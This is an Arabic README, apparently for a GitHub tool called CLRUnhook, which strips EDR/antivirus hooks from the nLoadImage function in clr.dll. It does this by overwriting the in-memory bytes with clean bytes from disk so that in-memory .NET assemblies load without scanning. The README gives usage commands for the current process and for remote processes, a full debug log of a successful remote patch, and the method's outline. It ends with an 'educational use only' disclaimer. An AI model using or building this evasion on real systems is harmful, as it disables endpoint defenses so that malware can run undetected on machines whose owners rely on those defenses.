
منتجات الأمان الحديثة (CrowdStrike, Bitdefender, SentinelOne، إلخ) تقوم بربط دالة nLoadImage داخل clr.dll لاعتراض وفحص تحميلات تجميعات .NET في الذاكرة. هذه الأداة تقوم بفك ربط تلك الدالة.
أداة C++ أصلية تتجاوز خطافات EDR/AV في وقت تشغيل اللغة العامة لـ .NET (CLR) عن طريق استعادة التنفيذ الأصلي لدالة nLoadImage.
تزيل هذه الأداة خطافات منتجات الأمان من دالة nLoadImage الخاصة بـ CLR - وهي نقطة الدخول الأصلية الحرجة التي تتعامل مع جميع عمليات تحميل تجميعات .NET في الذاكرة. من خلال قراءة ملف clr.dll النظيف من القرص والكتابة فوق وحدات بايت الدالة المُخَطَّفة في الذاكرة، تستعيد سلوك CLR الأصلي، مما يسمح بتنفيذ Assembly.Load(byte[]) دون فحص أو مسح من EDR.
تخطف منتجات الأمان الحديثة (BitDefender، CrowdStrike، SentinelOne، وغيرها) دالة nLoadImage داخل clr.dll لاعتراض وفحص عمليات تحميل تجميعات .NET في الذاكرة. تزيل هذه الأداة الخطاف عن تلك الدالة عبر:
clr.dll النظيف من القرصnLoadImage الأصليةبعد إزالة الخطاف، يتم تنفيذ Assembly.Load(byte[]) دون فحص من EDR.
nLoadImage هي الدالة الأصلية الحرجة التي تتعامل مع جميع عمليات تحميل التجميعات في الذاكرة داخل بيئة تشغيل .NET. وهي مُصرَّح عنها كـ InternalCall في الكود المُدار، مما يعني أنه لا يوجد لها تنفيذ بلغة C# - بل هي جسر مباشر إلى كود CLR الأصلي.
سلسلة الاستدعاء:
Managed Code (C#)
↓
Assembly.Load(byte[])
↓
RuntimeAssembly.nLoadImage(...) [InternalCall - no managed body]
↓
clr.dll!AssemblyNative::LoadImage (Native C++ implementation)
↓
Assembly loaded into AppDomain
لماذا هي بالغة الأهمية؟
تقريبًا كل عملية تحميل تجميع في الذاكرة تمر عبر nLoadImage. فطريقة Assembly.Load(byte[]) وكل تحميلاتها الزائدة (بما في ذلك التحميل مع وحدات بايت الرموز) تستدعي جميعها nLoadImage خلف الكواليس. عندما تستدعي Assembly.Load(byte[])، يمرر الكود المُدار في mscorlib.dll مصفوفة البايت الخاصة بك عبر RuntimeAssembly.nLoadImage()، وهي مُعلَّمة بـ [MethodImpl(MethodImplOptions.InternalCall)] - مما يعني أن جسمها فارغ في C# وأن التنفيذ يقفز فورًا إلى كود CLR الأصلي.
حتى سيناريوهات توليد الكود الديناميكي - أطر عمل التسلسل (serialization) التي تُصدر تجميعات في وقت التشغيل، وتوليد مُسلسِلات XML، وأدوات الفرق الحمراء مثل execute-assembly الخاصة بـ Cobalt Strike - تتدفق جميعها عبر هذه الدالة الواحدة.
التنفيذ الأصلي:
مكوّن الاستدعاء الداخلي (InternalCall stub) الخاص بـ nLoadImage في mscorlib.dll يشير إلى دالة C++ الأصلية AssemblyNative::LoadImage داخل clr.dll. تقوم هذه الدالة بـ:
في .NET Framework 4.8+، يمرر كل استدعاء لـ nLoadImage وحدات بايت التجميع تلقائيًا إلى AMSI الخاص بـ Windows Defender (AmsiScanBuffer) لفحصها قبل التنفيذ، مما يجعلها نقطة اختناق حرجة لمنتجات الأمان.
توقيع الدالة (.NET Framework 4.7+):
[MethodImpl(MethodImplOptions.InternalCall)]
static internal extern Assembly nLoadImage(
byte[] rawAssembly, // PE bytes
byte[] rawSymbolStore, // Optional PDB bytes
Evidence evidence, // CAS evidence (obsolete)
ref StackCrawlMark stackMark, // Security stack marker
bool fIntrospection, // Reflection-only flag
bool fSkipIntegrityCheck, // Skip integrity validation
SecurityContextSource securityContextSource // Security context
);
عندما تستدعي Assembly.Load(byte[])، فإنها تستدعي nLoadImage بهذه المعاملات النموذجية:
StackCrawlMark stackMark = StackCrawlMark.LookForMyCaller;
return RuntimeAssembly.nLoadImage(
rawAssembly, // Your byte array
null, // rawSymbolStore
null, // evidence
ref stackMark, // LookForMyCaller
false, // fIntrospection
SecurityContextSource.CurrentAssembly // securityContextSource
);
تتحكم المعاملة fIntrospection في ما إذا كان التجميع يُحمَّل للتنفيذ (false) أم للفحص الانعكاسي فقط (true). تستدعي طريقة Assembly.ReflectionOnlyLoad(byte[]) الدالة nLoadImage مع fIntrospection=true، مما يسمح بفحص البيانات الوصفية دون تنفيذ الكود.
لماذا تقوم EDR بخطفها؟
نظرًا لأن nLoadImage هي نقطة الدخول الوحيدة لجميع عمليات تحميل التجميعات في الذاكرة، تقوم منتجات EDR بخطفها على المستوى الأصلي داخل clr.dll. وهذا يسمح لها بـ:
لا تؤثر تقنيات التجاوز التقليدية (ترقيع AMSI، تعطيل ETW) على خطافات مستوى CLR لأنها تعمل على مستوى أعلى في المكدس. يحدث الخطاف داخل CLR نفسه، قبل حتى استدعاء AMSI.
CLRUnhook.exe
يزيل خطافات CLR في العملية الحالية. ملاحظة: يعمل هذا فقط إذا كان CLR مُحمَّلًا بالفعل (أي عند التشغيل من تطبيق .NET أو بعد تحميل CLR يدويًا).
CLRUnhook.exe powershell.exe
CLRUnhook.exe 1234
يزيل خطافات CLR في عملية بعيدة.
=== CLR Unhooking Tool ===
[*] Mode -> Remote Process Unhooking
[*] Target -> PID 21436
[+] Found PID -> 21436
[*] Unhooking CLR->nLoadImage in remote process...
[DEBUG] Remote mode enabled
[DEBUG] Found clr.dll at 0x00007FFD38CB0000
[DEBUG] CLR path -> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll
[DEBUG] CLR module size -> 10108928 bytes
[DEBUG] Read 10108928 bytes from remote process
[DEBUG] Searching for 'nLoadImage' in module (size: 10108928)
[DEBUG] Remote base address: 0x00007FFD38CB0000
[DEBUG] Scanning for string 'nLoadImage' (11 bytes)...
[DEBUG] Found string at RVA 0x7c12b8
[DEBUG] Searching for remote pointer: 0x7ffd394712b8
[DEBUG] Found pointer at offset 0x7a4340
[DEBUG] Valid function pointer found at RVA 0x5e4f30
[DEBUG] Found nLoadImage at RVA 0x00000000005E4F30
[DEBUG] Hooked function address -> 0x00007FFD39294F30
[DEBUG] Clean function at offset 0x00000000005E4F30 in disk file
[DEBUG] Reading hooked bytes before patch...
[DEBUG] First 16 bytes BEFORE unhook:
4C 8B DC 49 89 5B 08 49 89 73 10 4D 89 4B 20 57
[DEBUG] Clean bytes from disk:
8B 4B 78 E8 88 A9 EA FF C6 44 24 28 00 80 3D A4
[DEBUG] Wrote 30 bytes successfully
[DEBUG] First 16 bytes AFTER unhook:
8B 4B 78 E8 88 A9 EA FF C6 44 24 28 00 80 3D A4
[DEBUG] VERIFICATION SUCCESS: Patched bytes match clean bytes!
[+] SUCCESS -> CLR nLoadImage unhooked in remote process!
[+] EDR/AV hooks bypassed
[*] Press Enter to exit...
Managed Code (C#)
↓
Assembly.Load(byte[])
↓
RuntimeAssembly.nLoadImage(...) [InternalCall]
↓
clr.dll!AssemblyNative::LoadImage
↓
[EDR HOOK] ← We bypass this
↓
Original CLR Code
nLoadImage في ملف clr.dll المُحمَّل (المُخَطَّف حاليًا)clr.dll الأصلي من C:\Windows\Microsoft.NET\Framework64\v4.0.30319\يستخدم فحص الأنماط (pattern scanning) لتحديد موقع nLoadImage:
البحث التقني:
التنفيذ:
لأغراض تعليمية ولأبحاث الأمان المصرح بها فقط.
قد ينتهك الاستخدام غير المصرح به لهذه الأداة لتجاوز ضوابط الأمان قوانين الاحتيال الحاسوبي (CFAA، والقوانين المماثلة). استخدمها فقط على الأنظمة التي تمتلكها أو التي لديك إذن كتابي صريح لاختبارها.